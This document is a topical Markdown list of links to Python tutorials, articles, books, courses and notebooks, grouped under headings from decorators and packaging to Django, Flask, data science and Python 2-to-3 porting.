* [Some cool Python Tricks](http://www.quora.com/Python-programming-language-1/What-are-some-cool-Python-tricks)
* [if x and if x is not None](http://blog.amir.rachum.com/post/30176371115/you-cant-handle-the-truth)
* [Declaring dependencies in Python](http://blog.ziade.org/2013/04/13/declaring-dependencies-in-python/)
* [Storing and Loading Data with JSON - Serialization/deserialization](http://freepythontips.wordpress.com/2013/08/08/storing-and-loading-data-with-json/)
* [A Guide to Python's Magic Methods](http://www.rafekettler.com/magicmethods.html)
* [Efficient String Concatenation in Python](http://www.skymind.com/~ocrow/python_string/)
* [Be Pythonic: `__init__.py`](http://mikegrouchy.com/blog/2012/05/be-pythonic-__init__py.html)
* [Building an open-source Python application the right way](http://kirang.in/2013/09/09/building-an-open-source-python-application-the-right-way/)
* [Python progression path - From apprentice to guru](http://stackoverflow.com/questions/2573135/python-progression-path-from-apprentice-to-guru)
* [Tutorialspoint python tutorial](http://www.tutorialspoint.com/python/)
* [Python Importing](http://blog.amir.rachum.com/post/63666832095/python-importing)
* [Python's super() considered super!](http://rhettinger.wordpress.com/2011/05/26/super-considered-super/)
* [No Naked Excepts](http://www.wilfred.me.uk/blog/2013/11/03/no-naked-excepts/)
* [Supercharge Your Python Developers](http://www.jeffknupp.com/blog/2013/11/15/supercharge-your-python-developers/)
* [Anti-Patterns in Python Programming](http://lignos.org/py_antipatterns/)
* [The Python IAQ: Infrequently Answered Questions](http://norvig.com/python-iaq.html)
* [Python's objects and classes — a visual guide](http://blog.lerner.co.il/pythons-objects-and-classes-a-visual-guide/)
* [Visualize your Python code being executed](http://www.pythontutor.com/visualize.html)
* [Snakify - a tutorial with exercises and a visual debugger](https://snakify.org/)
* [Learn programming with curated Python projects - DevProjects](https://www.codementor.io/projects/python)
## Resources for Women
* [Pyladies](http://www.pyladies.com/)
* [Diversity in Python Community](https://www.python.org/community/diversity/)
* [Django Girls](http://djangogirls.org/)
* [Pystar](http://pystar.org/)
* [Geek Feminism Python Posts](http://geekfeminism.org/tag/python/)
* [Tarah Wheeler Van Vlack Videos](https://www.youtube.com/user/tarahwheelervanvlack)
## Why Python?
* [Python Success Stories](http://www.python.org/about/success/esr/)
* [Why Python - Slideshare](http://www.slideshare.net/arnav/python-presentation)
* [5 Reasons Why You Should Learn Python Programming](http://www.codercaste.com/2009/10/20/5-reasons-why-you-should-learn-python-programming/)
* [10 Reasons Python Rocks for Research (And a Few Reasons it Doesn’t)](http://www.stat.washington.edu/~hoytak/blog/whypython.html)
* [Why such popularity with Python?](https://programmers.stackexchange.com/questions/5427/why-such-popularity-with-python)
* [Why was Python's popularity so sudden?](https://programmers.stackexchange.com/questions/27207/why-was-pythons-popularity-so-sudden?rq=1)
* [Why Python?](http://www.reddit.com/r/Python/comments/1mb4y4/why_python/)
* [How Python became the language of choice for data science](http://blog.mikiobraun.de/2013/11/how-python-became-the-language-of-choice-for-data-science.html)
## Style Guide and Idioms
* [PEP 8 - Style Guide for Python Code](http://www.python.org/dev/peps/pep-0008/)
* [PEP 8 — the Style Guide for Python Code](http://pep8.org/)
* [Code Like a Pythonista: Idiomatic Python](http://python.net/~goodger/projects/pycon/2007/idiomatic/handout.html)
* [Google Python Style Guide](https://google.github.io/styleguide/pyguide.html)
* [Python Idioms and Efficiency](https://www.memonic.com/user/pneff/folder/python/id/1bufp)
* [How not to write Python code](http://eikke.com/how-not-to-write-python-code/)
* [Docstring Conventions](http://www.python.org/dev/peps/pep-0257/)
## Dictionary
* [Python hash, id and dictionary order](http://blog.amir.rachum.com/post/54458435089/python-hash-id-and-dictionary-order)
* [Notes on dictionary implementation](http://bugs.python.org/file6941/dictnotes.txt)
* [Python: The Dictionary Playbook](http://blog.amir.rachum.com/post/39501813266/python-the-dictionary-playbook)
## Decorators
* [Understanding Python Decorators in 12 easy steps](http://simeonfranklin.com/blog/2012/jul/1/python-decorators-in-12-steps/)
* [Common uses of Python decorators - Quora](http://www.quora.com/Python-programming-language-1/What-are-common-uses-of-Python-decorators)
* [Common uses of Python decorators - Stack Overflow](http://stackoverflow.com/questions/489720/what-are-some-common-uses-for-python-decorators)
* [Python Decorators](http://pythonconquerstheuniverse.wordpress.com/2012/04/29/python-decorators/)
* [Decorators I: Introduction to Python Decorators](http://www.artima.com/weblogs/viewpost.jsp?thread=240808)
* [The dark side of decorators](http://apiguy.github.io/blog/2013/06/03/the-dark-side-of-decorators/)
* [Thinking out aloud: Python decorators](http://curiosityhealsthecat.blogspot.in/2013/06/thinking-out-aloud-python-decorators_8528.html)
* [Using Python decorators for registering callbacks](http://curiosityhealsthecat.blogspot.in/2013/07/using-python-decorators-for-registering_8614.html)
* [Meta-matters: Using decorators for better Python programming](http://pydanny-event-notes.readthedocs.org/en/latest/PyconAU2011/decorators.html)
* [How can I make a chain of function decorators in Python?](http://stackoverflow.com/questions/739654/how-can-i-make-a-chain-of-function-decorators-in-python/1594484#1594484)
* [The Python Decorator Library](https://wiki.python.org/moin/PythonDecoratorLibrary)
* [Improve Your Python: Decorators Explained](http://www.jeffknupp.com/blog/2013/11/29/improve-your-python-decorators-explained/)
* [Painless Decorators](http://hackflow.com/blog/2013/11/03/painless-decorators/)
* [Advanced Uses of Python Decorators](https://www.codementor.io/python/tutorial/advanced-use-python-decorators-class-function)
## Generators
* [Improve Your Python: 'yield' and Generators Explained](http://www.jeffknupp.com/blog/2013/04/07/improve-your-python-yield-and-generators-explained/)
* [Generator Tricks for Systems Programmers](http://www.dabeaz.com/generators-uk/)
* [Delegating to a Subgenerator in Python 3](http://docs.python.org/3/whatsnew/3.3.html#pep-380-syntax-for-delegating-to-a-subgenerator)
* [Generators Will Free Your Mind](http://pyvideo.org/video/3170/generators-will-free-your-mind-0)
## Coroutines
* [A Curious Course on Coroutines and Concurrency](http://www.dabeaz.com/coroutines/)
## Iterators
* [Understanding Iterators and Iterables](http://www.shutupandship.com/2012/01/understanding-python-iterables-and.html)
* [For Loops and Iterators](https://www.codementor.io/python/tutorial/python-generators-and-iterators)
## Import
* [A Python Import Tutorial for Beginners](https://www.codementor.io/python/tutorial/python-path-virtualenv-import-for-beginners)
## Yield
* [Python yield keyword explained](http://stackoverflow.com/questions/231767/the-python-yield-keyword-explained)
## Context Managers
* [Understanding Python's with statement](http://effbot.org/zone/python-with-statement.htm)
* [The Python "with" Statement by Example](http://preshing.com/20110920/the-python-with-statement-by-example/)
## Unicode
* [Explain Unicode like I'm five years old](http://www.reddit.com/r/Python/comments/1g62eh/explain_it_like_im_five_python_and_unicode/)
* [Unicode Pain](http://nedbatchelder.com/text/unipain.html)
* [Python encodings and Unicode](http://eric.themoritzfamily.com/python-encodings-and-unicode.html)
* [The Updated Guide to Unicode on Python](http://lucumr.pocoo.org/2013/7/2/the-updated-guide-to-unicode/)
* [More About Unicode in Python 2 and 3](http://lucumr.pocoo.org/2014/1/5/unicode-in-2-and-3/)
* [Unicode in Python: Common Pitfalls](http://blogs.skicelab.com/maurizio/unicode-common-pitfalls.html)
* [Unicode HOWTO](https://docs.python.org/3/howto/unicode.html)
## Networking
* [An intro to Python socket network programming](http://freepythontips.wordpress.com/2013/08/06/python-socket-network-programming/)
## Metaclasses
* [A primer on python metaclasses](http://jakevdp.github.io/blog/2012/12/01/a-primer-on-python-metaclasses/)
* [What is a metaclass in Python?](http://stackoverflow.com/questions/100003/what-is-a-metaclass-in-python)
* [Improve Your Python: Metaclasses and Dynamic Classes With Type](http://www.jeffknupp.com/blog/2013/12/28/improve-your-python-metaclasses-and-dynamic-classes-with-type/)
## Documentation
* [Documentation is King](http://kennethreitz.org/documentation-is-king/)
* [Make your open source project documentation suck less](http://web.archive.org/web/20150813232522/http://kirang89.webfactional.com/2013/05/07/make-your-open-source-project-documentation-suck-less/)
* [Python Documentation Network](http://pydoc.net/)
* [Writing great documentation](http://jacobian.org/writing/great-documentation/)
### Sphinx
* [Quick Sphinx documentation for Python](http://scriptsonscripts.blogspot.in/2012/09/quick-sphinx-documentation-for-python.html)
## Environments and Environment Management
* [Virtualenv - The official documentation](http://www.virtualenv.org/en/latest/)
* [Virtual Environments — The Hitchhiker's Guide to Python](http://docs.python-guide.org/en/latest/dev/virtualenvs/)
* [Virtualenv Tutorial](http://simononsoftware.com/virtualenv-tutorial/)
* [A Primer on virtualenv](http://iamzed.com/2009/05/07/a-primer-on-virtualenv/)
* [How to use Python virtualenv](http://www.pythonforbeginners.com/basics/how-to-use-python-virtualenv)
* [Making Virtualenv play nice with Git](http://hmarr.com/2010/jan/19/making-virtualenv-play-nice-with-git/)
* [Extension to Virtualenv](https://bitbucket.org/dhellmann/virtualenvwrapper)
* [VirtualEnv Burrito = virtualenv + virtualenvwrapper](https://github.com/brainsik/virtualenv-burrito)
* [Virtualenv Tips](http://ericholscher.com/blog/2010/nov/1/virtualenv-tips/)
* [Anaconda Primer](http://caffeineindustries.com/anaconda-primer.html)
## Exceptions
* [Writing and Using Custom Exceptions](https://www.codementor.io/python/tutorial/how-to-write-python-custom-exceptions)
## Debugging
* [Debugging Tools in Python](http://blog.ionelmc.ro/2013/06/05/python-debugging-tools/)
* [Debugging Python Like a Boss](https://zapier.com/engineering/debugging-python-boss/)
### Logging
* [Sentry - realtime event logging and aggregation platform](https://docs.sentry.io/)
## Testing
* [Nose Introduction](http://pythontesting.net/framework/nose/nose-introduction/)
* [Unittest Introduction](http://pythontesting.net/framework/unittest/unittest-introduction/)
* [How To Use Coverage.py With Unittest](https://github.com/audreyr/how-to/blob/master/python/use_coverage_with_unittest.rst)
* [An Extended Introduction to the nose Unit Testing Framework](http://ivory.idyll.org/articles/nose-intro.html)
* [Test strategies for your Python projects](http://web.archive.org/web/20160604121116/http://blog.flaper87.com/post/522b9e560f06d32542ede77f/)
* [Improve Your Python: Understanding Unit Testing](http://jeffknupp.com/blog/2013/12/09/improve-your-python-understanding-unit-testing/)
* [An Introduction to Mocking in Python](http://www.toptal.com/python/an-introduction-to-mocking-in-python)
* [Python Mock Library Comparison](https://garybernhardt.github.io/python-mock-comparison/)
## Profiling
* [A guide to analyzing Python performance](http://www.huyng.com/posts/python-performance-analysis/)
* [Profiling Python Like a Boss](https://zapier.com/engineering/profiling-python-boss/)
## Packaging
* [The Hitchhiker’s Guide to Packaging](http://docs.python-guide.org/en/latest/shipping/packaging/)
* [Sharing Your Labor of Love: PyPI Quick And Dirty](http://hynek.me/articles/sharing-your-labor-of-love-pypi-quick-and-dirty/)
* [Open Sourcing a Python Project the Right Way](http://www.jeffknupp.com/blog/2013/08/16/open-sourcing-a-python-project-the-right-way/)
* [5 tips for packaging your Python projects](http://ziade.org/2011/08/19/5-tips-for-packaging-your-python-projects/)
* [AOSA: Python Packaging](http://www.aosabook.org/en/packaging.html)
* [The Package Dependency Blues](http://blog.miguelgrinberg.com/post/the-package-dependency-blues)
* [5 Simple Rules For Building Great Python Packages](http://axialcorps.com/2013/08/29/5-simple-rules-for-building-great-python-packages)
* [Unofficial Windows Binaries for Python Extension Packages](http://www.lfd.uci.edu/~gohlke/pythonlibs/)
* [Py2app: Standalone Mac OS X applications](http://pythonhosted.org/py2app/)
* [PyInstaller: Stand-alone executables, under Windows, Linux, Mac OS X, Solaris and AIX](http://www.pyinstaller.org/)
* [setup.py tricks](http://www.pydanny.com/python-dot-py-tricks.html)
* [Python Packaging: Quick Tutorial & Checklist](https://holypython.com/python-packaging-quick-tutorial-checklist/)
## Deployment
* [Solid Python Deployments for Everybody](http://hynek.me/talks/python-deployments)
### Fabric
* [Using Fabric in a development environment](http://www.pythonforbeginners.com/systems-programming/how-to-use-fabric-in-a-development-environment/)
* [Capture output from parallel execution with Fabric](http://dmsimard.com/2013/11/29/capture-output-from-parallel-execution-with-fabric/)
### Ansible
* [Example Ansible scripts for building a full AWS stack](https://github.com/rabidgremlin/dev-ops-snippets/tree/master/aws-full-stack)
## Contributing to Python Development
* [The CPython Developer's Guide](https://github.com/python/devguide)
## Warts and Gotchas
* [Python 2.x gotcha's and landmines](http://stackoverflow.com/questions/530530/python-2-x-gotchas-and-landmines)
* [Python Warts](https://wiki.python.org/moin/PythonWarts)
* [Python Gotchas](http://blog.artlogic.com/2013/04/12/python-gotchas/)
* [Common Pitfalls in Python](http://stackoverflow.com/questions/1011431/common-pitfalls-in-python/1321075#1321075)
## Web
* [Python and Realtime Web](http://mrjoes.github.io/2013/06/21/python-realtime.html)
* [A Python guide to handling HTTP request failures](https://www.mobify.com/blog/http-requests-are-hard/)
### Frameworks
* [Django vs Flask vs Pyramid: Choosing a Python Web Framework](https://www.airpair.com/python/posts/django-flask-pyramid)
#### Flask
* [Flask Mega Tutorial Series](http://blog.miguelgrinberg.com/post/the-flask-mega-tutorial-part-i-hello-world)
* [Designing a RESTful API with Python and Flask](http://blog.miguelgrinberg.com/post/designing-a-restful-api-with-python-and-flask)
* [How I structure my Flask apps](http://web.archive.org/web/20160324134243/http://mattupstate.com/python/2013/06/26/how-i-structure-my-flask-applications.html)
* [Designing a RESTful API using Flask-RESTful](http://blog.miguelgrinberg.com/post/designing-a-restful-api-using-flask-restful)
* [Rapid Web Prototyping with Lightweight Tools](http://www.pixelmonkey.org/2013/03/13/rapid-web-prototyping-with-lightweight-tools)
* [Build a Simple, Static, Markdown-Powered Blog with Flask](http://www.jamesharding.ca/posts/simple-static-markdown-blog-in-flask/)
* [How to Build an API with Python and Flask](http://web.archive.org/web/20150502090353/http://tech.pro/tutorial/1213/how-to-build-an-api-with-python-and-flask)
* [Create a Simple Music Streaming App with Flask](http://web.archive.org/web/20140424194048/http://pypix.com/python/create-simple-music-streaming-app-flask/)
* [Adding full-text search to the flask note-taking app](http://charlesleifer.com/blog/saturday-morning-hacks-adding-full-text-search-to-the-flask-note-taking-app/)
* [Kickstarting Flask on Ubuntu - Setup and Deployment](https://realpython.com/blog/python/kickstarting-flask-on-ubuntu-setup-and-deployment)
* [OAuth Authentication with Flask](http://blog.miguelgrinberg.com/post/oauth-authentication-with-flask)
* [Building a blog using Flask and AngularJS](http://tutsbucket.com/tutorials/building-a-blog-using-flask-and-angularjs-part-1/)
* [A repository of Flask resources](https://github.com/humiaozuzu/awesome-flask)
* [Building a Movie Recommendation Service with Spark & Flask](https://www.codementor.io/spark/tutorial/building-a-recommender-with-apache-spark-python-example-app-part2)
* [Building a Kanban App with Flask and React](http://blog.tryolabs.com/2015/04/30/building-a-kanban-app-in-react/)
##### Books
* [Explore Flask](https://exploreflask.com)
#### Web2Py
* [Building a Twitter clone in Web2Py](http://fragile.org.uk/2013/06/twitter-clone-tutorial-in-web2py-part-1-getting-started/)
#### Django
* [The official Django documentation](https://docs.djangoproject.com/)
* [Getting started with Django](http://web.archive.org/web/20160618193743/http://gettingstartedwithdjango.com/)
* [Starting a Django 1.6 Project the Right Way](http://www.jeffknupp.com/blog/2013/12/18/starting-a-django-16-project-the-right-way/)
* [Building a hacker news clone in Django](http://arunrocks.com/building-a-hacker-news-clone-in-django-part-1/)
* [Djen of Django](http://agiliq.com/books/djenofdjango/)
* [Deploying Django](http://www.rdegges.com/deploying-django/)
* [Django by Example](http://www.lightbird.net/dbe/)
* [Tango with Django](http://www.tangowithdjango.com/book/)
* [Django Screencasts](https://godjango.com/)
* [Let’s TDD a Simple App in Django](http://web.archive.org/web/20131212220546/http://pypix.com/django/tdd-in-django/)
* [Django runserver and stunnel for testing HTTPS](http://mgile.com/post/4729505823/django-stunnel)
* [Scaling database with Django and HAProxy](http://engineering.hackerearth.com/2013/10/07/scaling-database-with-django-and-haproxy/)
* [Classy Class-Based Views](http://ccbv.co.uk/)
* [Django models, encapsulation and data integrity](http://www.dabapps.com/blog/django-models-and-encapsulation/)
* [11 Things I Wish I Knew About Django Development Before I Started My Company](https://medium.com/cs-math/11-things-i-wish-i-knew-about-django-development-before-i-started-my-company-f29f6080c131)
* [Build a Shopify App in 15 minutes with Django](http://gavinballard.com/shopify-app-in-15-minutes-with-django)
* [A repository of must-watch videos about Django](https://github.com/rosarior/django-must-watch)
* [Django Girls Tutorial](https://tutorial.djangogirls.org/en/)
* [Mastering Django](http://masteringdjango.com/)
* [Building a Wine Review & Recommendation Site with Django](https://www.codementor.io/python/tutorial/build-data-products-django-machine-learning-clustering-user-preferences)
#### Bottle
* [Developing with Bottle- Part 1](http://www.realpython.com/blog/python/developing-with-bottle-part-1/)
#### Tornado
* [Tornado official documentation](http://www.tornadoweb.org/en/stable/)
* [Fastest database for Tornado](http://www.peterbe.com/plog/fastestdb)
#### Pyramid
* [Pyramid official documentation](http://docs.pylonsproject.org/en/latest/docs/pyramid.html)
* [How To Use the Pyramid Framework To Build Your Python Web App on Ubuntu](https://www.digitalocean.com/community/tutorials/how-to-use-the-pyramid-framework-to-build-your-python-web-app-on-ubuntu)
* [Building an AJAX Hello-World with Pyramid](https://www.codementor.io/javascript/tutorial/build-ajax-helloworld-pyramid)
### Web Servers
* [A Comparison of Web Servers for Python Based Web Applications](https://www.digitalocean.com/community/articles/a-comparison-of-web-servers-for-python-based-web-applications)
* [Setting Up a Rock Solid Python Development Web Server](https://fgimian.github.io/blog/2012/12/08/setting-up-a-rock-solid-python-development-web-server/)
### API and Web Services
* [How to access various web services in python](http://www.pythonforbeginners.com/python-on-the-web/how-to-access-various-web-services-in-python/)
* [Glassdoor API](https://github.com/hackerlist/glassdoor)
### Scraping
* [Web Scraping with BeautifulSoup](http://www.pythonforbeginners.com/python-on-the-web/web-scraping-with-beautifulsoup/)
* [Web Scraping 101 with Python](http://www.gregreda.com/2013/03/03/web-scraping-101-with-python/)
* [Web Scraping with Scrapy Framework](http://doc.scrapy.org/en/latest/intro/tutorial.html)
* [How to automatically search and download torrents with Python and Scrapy](http://fuzz-box.blogspot.in/2013/03/how-to-automatically-search-download-torrent-python-scrapy.html)
## Mobile Development
### Kivy
* [Creating an Application in Kivy: Part 1](http://buchuki.com/index.php/2013/06/13/creating-an-application-in-kivy-part-1/)
## Google Glass
### Resources
* [The official Python Quick Start for Google Glass](https://developers.google.com/glass/quickstart/python)
### Libraries
#### glass.py
* [Create python web applications for Google Glass](https://github.com/SamyPesse/glass.py)
## Image Processing
* [Python Image Library - Examples](http://web.archive.org/web/20150814055529/http://www.riisen.dk/dop/pil.html)
* [Digital Image Basics](https://holypython.com/digital-image-basics-with-pil-library-in-python/)
* [How to Watermark Images with Python](https://holypython.com/how-to-watermark-images-w-python-pil/)
## GUI Programming
* [Python.org GUI Overview Page](https://wiki.python.org/moin/GuiProgramming)
* [PyQt5 Tutorial](https://coderslegacy.com/python/pyqt5-tutorial/)
* [Standalone executable for PyQt4 on Windows](http://www.py2exe.org/index.cgi/Py2exeAndPyQt)
* [Kivy GUI for cross-platform applications](http://kivy.org/)
* [EffBot.org Introduction to Tkinter](http://effbot.org/tkinterbook/tkinter-index.htm)
* [Pytkgen: JSON to Tkinter GUI Generator](https://github.com/tmetsch/pytkgen)
* [Intro to programming with Python and Tkinter](https://wiki.python.org/moin/Intro%20to%20programming%20with%20Python%20and%20Tkinter)
* [Tkinter Course - Create Graphic User Interfaces in Python Tutorial](https://www.youtube.com/watch?v=YXPyB4XeYLA)
* [Python - GUI Programming (Tkinter)](https://www.tutorialspoint.com/python/python_gui_programming.htm)
* [Creating GUI Programs Fast & Easy Tutorial](https://holypython.com/creating-gui-programs-w-python-fast-easy-pysimplegui/)
## Game Development
* [Pygame Tutorial](https://coderslegacy.com/python/python-pygame-tutorial/)
## Android
### SL4A
* [Making the Physics Gizmo app for Android using SL4A](http://www.brokenairplane.com/2011/08/im-not-texting-im-programming.html)
## WSGI
* [Getting started with WSGI](http://lucumr.pocoo.org/2007/5/21/getting-started-with-wsgi/)
* [WSGI Basics](http://agiliq.com/blog/2013/07/basics-wsgi/)
## Databases
### SQLAlchemy
* [SQLAlchemy](http://www.aosabook.org/en/sqlalchemy.html)
* [SQLAlchemy and you](http://lucumr.pocoo.org/2011/7/19/sqlachemy-and-you/)
* [Essential SQLAlchemy Tips and Techniques](http://web.archive.org/web/20140424034838/http://pypix.com/tools-and-tips/essential-sqlalchemy/)
* [10 common stumbling blocks for SQLAlchemy newbies](http://alextechrants.blogspot.fr/2013/11/10-common-stumbling-blocks-for.html)
* [An SQLAlchemy Cheatsheet](https://www.codementor.io/python/tutorial/understanding-sqlalchemy-cheat-sheet)
## Data Mining
* [Linux system mining using Python](http://architects.dzone.com/articles/linux-system-mining-python)
## Data Analysis
* [Practical Data Science in Python](http://radimrehurek.com/data_science_python/)
* [Document Clustering with Python](http://brandonrose.org/clustering)
* [Data Science with Python & R: Data Frames](https://www.codementor.io/python/tutorial/python-vs-r-for-data-science-data-frames-i)
* [Data Science with Python & R: Exploratory Data Analysis](https://www.codementor.io/python/tutorial/data-science-python-r-exploratory-data-analysis-visualization)
* [Data Science with Python & R: Sentiment Classification Using Linear Methods](https://www.codementor.io/python/tutorial/data-science-python-r-sentiment-classification-machine-learning)
* [Scientific Python Cheatsheet](https://ipgp.github.io/scientific_python_cheat_sheet/)
* [Python Basics For Data Science](https://www.datacamp.com/community/tutorials/python-data-science-cheat-sheet-basics)
* [SciPy Lecture Notes: One document to learn numerics, science, and data with Python](http://www.scipy-lectures.org/)
* [Machine Learning Algorithms with Python](https://holypython.com/ml)
### Pandas
* [A 10 min intro to Pandas](http://pandas.pydata.org/pandas-docs/stable/10min.html)
* [Pandas and Python: Top 10](http://manishamde.github.io/blog/2013/03/07/pandas-and-python-top-10/)
* [Learn Pandas](https://bitbucket.org/hrojas/learn-pandas)
* [Faster Data Processing in Python](http://nbviewer.ipython.org/github/sanand0/ipython-notebooks/blob/master/Faster%20Data%20Processing%20in%20Python.ipynb)
* [Learn More About Pandas By Building and Using a Weighted Average Function](http://pbpython.com/weighted-average.html)
## Data Visualization
* [How to Create Matplotlib Animations](https://holypython.com/how-to-create-matplotlib-animations-the-ultimate-guide/)
* [How to Save Matplotlib Animations](https://holypython.com/how-to-save-matplotlib-animations-the-ultimate-guide/)
* [How to Create Plotly Animations](https://holypython.com/how-to-create-plotly-animations-the-ultimate-guide/)
* [How to Save Plotly Animations](https://holypython.com/how-to-save-plotly-animations-the-ultimate-guide/)
* [How to Map Charts in Python](https://holypython.com/how-to-create-map-charts-in-python-w-plotly-mapbox/)
## Deep Learning
* [Build your first Neural Network with Python and Keras](http://machinelearningmastery.com/tutorial-first-neural-network-python-keras/)
* [Building powerful image classification models using very little data](https://blog.keras.io/building-powerful-image-classification-models-using-very-little-data.html)
* [Python implementation of several famous Deep Learning papers](https://github.com/fchollet/keras/tree/master/examples)
## IPython Notebooks
* [A Gallery of Interesting IPython Notebooks](https://github.com/ipython/ipython/wiki/A-gallery-of-interesting-IPython-Notebooks)
* [A collection of not-so-obvious Python stuff you should know!](http://nbviewer.ipython.org/github/rasbt/python_reference/blob/master/tutorials/not_so_obvious_python_stuff.ipynb?create=1)
* [Peter Norvig's Notebook Collection](http://norvig.com/ipython/)
* [Statistical Natural Language Processing in Python | How To Do Things With Words. And Counters.](http://nbviewer.ipython.org/url/norvig.com/ipython/How%20to%20Do%20Things%20with%20Words.ipynb)
* [Analysis of World Bank Fertility Rate Data With Statsmodels PCA](http://nbviewer.ipython.org/urls/umich.box.com/shared/static/6m7f4lw9bdog241kqcmb.ipynb)
* [Modeling the Last Flight of MH370 with a Markov Chain Monte Carlo Method](http://nbviewer.ipython.org/github/myhrvold/MH370_MCMC/blob/master/MH370_MC_ConorMyhrvold.ipynb)
* [Differential Equations in Data Science](http://nbviewer.ipython.org/github/URXtech/techblog/blob/master/continuousTimeMarkovChain/markovChain.ipynb)
* [Stegotons: solitary waves arising in non-dispersive periodic media](http://nbviewer.ipython.org/gist/ketch/8554686)
* [The Traveling Salesperson Problem](http://nbviewer.ipython.org/url/norvig.com/ipython/TSP.ipynb)
* [Scientific Computing with Python](http://nbviewer.ipython.org/url/atwallab.cshl.edu/teaching/QBbootcamp3.ipynb)
* [Gaussian Blur](http://nbviewer.ipython.org/urls/raw.github.com/mroberts3000/GpuComputing/master/IPython/GaussianBlur.ipynb)
* [Understanding the FFT Algorithm](http://nbviewer.ipython.org/url/jakevdp.github.io/downloads/notebooks/UnderstandingTheFFT.ipynb)
* [lifelines: Survival Analysis in Python](http://lifelines.readthedocs.io)
* [Economics Simulation](http://nbviewer.ipython.org/url/norvig.com/ipython/Economics.ipynb)
* [An Introduction to Bayesian Methods for Multilevel Modeling](http://nbviewer.ipython.org/urls/raw.github.com/fonnesbeck/multilevel_modeling/master/multilevel_modeling.ipynb)
* [The Floods of the Nile](http://nbviewer.jupyter.org/github/LCAV/SignalsOfTheDay/blob/master/Floods_of_the_Nile/FloodsOfTheNile.ipynb)
* [Animal Foraging and the Evolution of Goal-Directed Cognition](http://nbviewer.ipython.org/urls/raw.github.com/rhiever/Intro-to-Evolutionary-Modeling/master/Animal%2520Foraging%2520and%2520the%2520Evolution%2520of%2520Goal-Directed%2520Cognition.ipynb)
* [Wikipedia data scraping functions](http://nbviewer.ipython.org/urls/raw.github.com/brianckeegan/Wikipedia/master/wikipedia_scraping.ipynb)
* [Python for Geosciences](https://github.com/koldunovn/python_for_geosciences)
* [Media Signal Processing](http://www.mat.ucsb.edu/201A/)
* [Get Started with Python](https://github.com/rajathkumarmp/Python-Lectures)
* [A gallery of data science IPython notebooks](https://github.com/donnemartin/data-science-ipython-notebooks)
* [Jupyter Notebooks derived from Allen Downey's Think Bayes](https://github.com/rlabbe/ThinkBayes)
## Design Patterns
* [Python Best Practice Patterns by Vladimir Keleshev](http://www.youtube.com/watch?v=GZNUfkVIHAY)
* [28 Design Patterns in Python and Several Other Languages](https://github.com/oxnz/design-patterns)
* [Factory Pattern In Python](http://web.archive.org/web/20131008172420/http://dailypython.wordpress.com/2013/08/04/factory-pattern-in-python/)
* [Wishful Coding in Python: a Problem Solving Philosophy](https://www.codementor.io/python/tutorial/wishful-coding-python-solving-big-problems)
### Concurrency Patterns
* [Wasp's Nest: The Read-Copy-Update Pattern In Python](http://emptysqua.re/blog/wasps-nest-read-copy-update-python/)
## Concurrency and Distributed Systems
* [Gevent and ZeroMQ](http://architects.dzone.com/articles/gevent-zeromq)
* [Celery: Distributed Task Queue](https://celery.readthedocs.org/en/latest/getting-started/index.html)
* [Gevent for the working Python developer](http://sdiehl.github.io/gevent-tutorial/)
## Functional Programming
* [Recursion Explained with the Flood Fill Algorithm](http://inventwithpython.com/blog/2011/08/11/recursion-explained-with-the-flood-fill-algorithm-and-zombies-and-cats/)
* [Functional Programming in Python](https://web.archive.org/web/20140105103917/http://pypix.com/python/functional-programming/)
## Python 2 vs 3
* [Python 2 or 3 ?](http://wiki.python.org/moin/Python2orPython3)
* [Python 3 Q & A](http://python-notes.curiousefficiency.org/en/latest/python3/questions_and_answers.html)
* [About Python 3](http://alexgaynor.net/2013/dec/30/about-python-3/)
* [Let’s talk about Python 3.0](http://www.b-list.org/weblog/2008/dec/05/python-3000/)
* [Pros and Cons about Python 3](http://lucumr.pocoo.org/2010/1/7/pros-and-cons-about-python-3/)
### Porting to Python 3
* [Python 3 Wall of Superpowers(Packages)](https://python3wos.appspot.com/)
* [How to support both Python 2 and 3](http://ondrejcertik.blogspot.com/2013/08/how-to-support-both-python-2-and-3.html)
* [How CherryPy supports Python 2 and 3](http://pyvideo.org/video/689/how-cherrypy-supports-python-2-and-3)
* [Porting to Python 3 - The Book Site](http://python3porting.com/)
* [Easy, clean, reliable Python 2/3 compatibility](http://python-future.org/)
## Books
### Free
* [Free Programming Books - Python](https://github.com/vhf/free-programming-books/blob/master/free-programming-books.md#python)
* [Python Programming - Free Computer Books](http://freecomputerbooks.com/langPythonBooks.html)
* [Some free books on Python](http://pythonbooks.revolunet.com/)
* [Invent with Python](http://inventwithpython.com/chapters/)
* [Think Python](http://www.greenteapress.com/thinkpython/thinkpython.pdf)
* [Byte of Python](http://files.swaroopch.com/python/byte_of_python.pdf)
* [Snake Wrangling for Kids](http://www.briggs.net.nz/snake-wrangling-for-kids.html)
* [Data Structures and Algorithms with Object-Oriented Design Patterns in Python](http://www.brpreiss.com/books/opus7/html/book.html)
* [Python programming on wikibooks](http://en.wikibooks.org/wiki/Python_Programming)
* [Dive Into Python 3](http://getpython3.com/diveintopython3/)
* [Programming Computer Vision with Python](http://programmingcomputervision.com/)
* [Python for you and me](http://pymbook.readthedocs.org/en/latest/)
* [Program Arcade Games With Python And Pygame](http://programarcadegames.com/)
* [Interactive python-problem solving](http://interactivepython.org/runestone/static/pythonds/index.html)
* [How to make mistakes in Python](http://www.oreilly.com/programming/free/files/how-to-make-mistakes-in-python.pdf)
* [Think Stats: Exploratory Data Analysis in Python](http://greenteapress.com/thinkstats2/html/index.html)
### Paid
* [Some list of paid books on python](http://wiki.python.org/moin/PythonBooks)
* [Porting to Python 3 - The Book Site](http://python3porting.com/)
## Online Courses and Challenges
* [A Gentle Introduction to Programming Using Python](http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-189-a-gentle-introduction-to-programming-using-python-january-iap-2011/index.htm)
* [Python Challenges](http://www.pythonchallenge.com/)
* [Project Euler](http://projecteuler.net)
* [Interactive, test-driven Python coding challenges](https://github.com/donnemartin/interactive-coding-challenges)
## Discussions
* [What's your favorite programming language?](https://news.ycombinator.com/item?id=3746692)
* [What is your primary programming language?](https://news.ycombinator.com/item?id=5944863)
* [StackOverflow - Python beyond the basics](http://stackoverflow.com/questions/92230/python-beyond-the-basics)
* [StackOverflow - Python progression path from apprentice to guru](http://stackoverflow.com/questions/2573135/python-progression-path-from-apprentice-to-guru)
* [StackOverflow - Zen of Python](http://web.archive.org/web/20130801022115/http://stackoverflow.com/questions/228181/zen-of-python)
* [StackOverflow - Hidden Features of Python](http://stackoverflow.com/questions/101268/hidden-features-of-python)
## Conferences and events
* [Official PyCon website](http://www.pycon.org/)
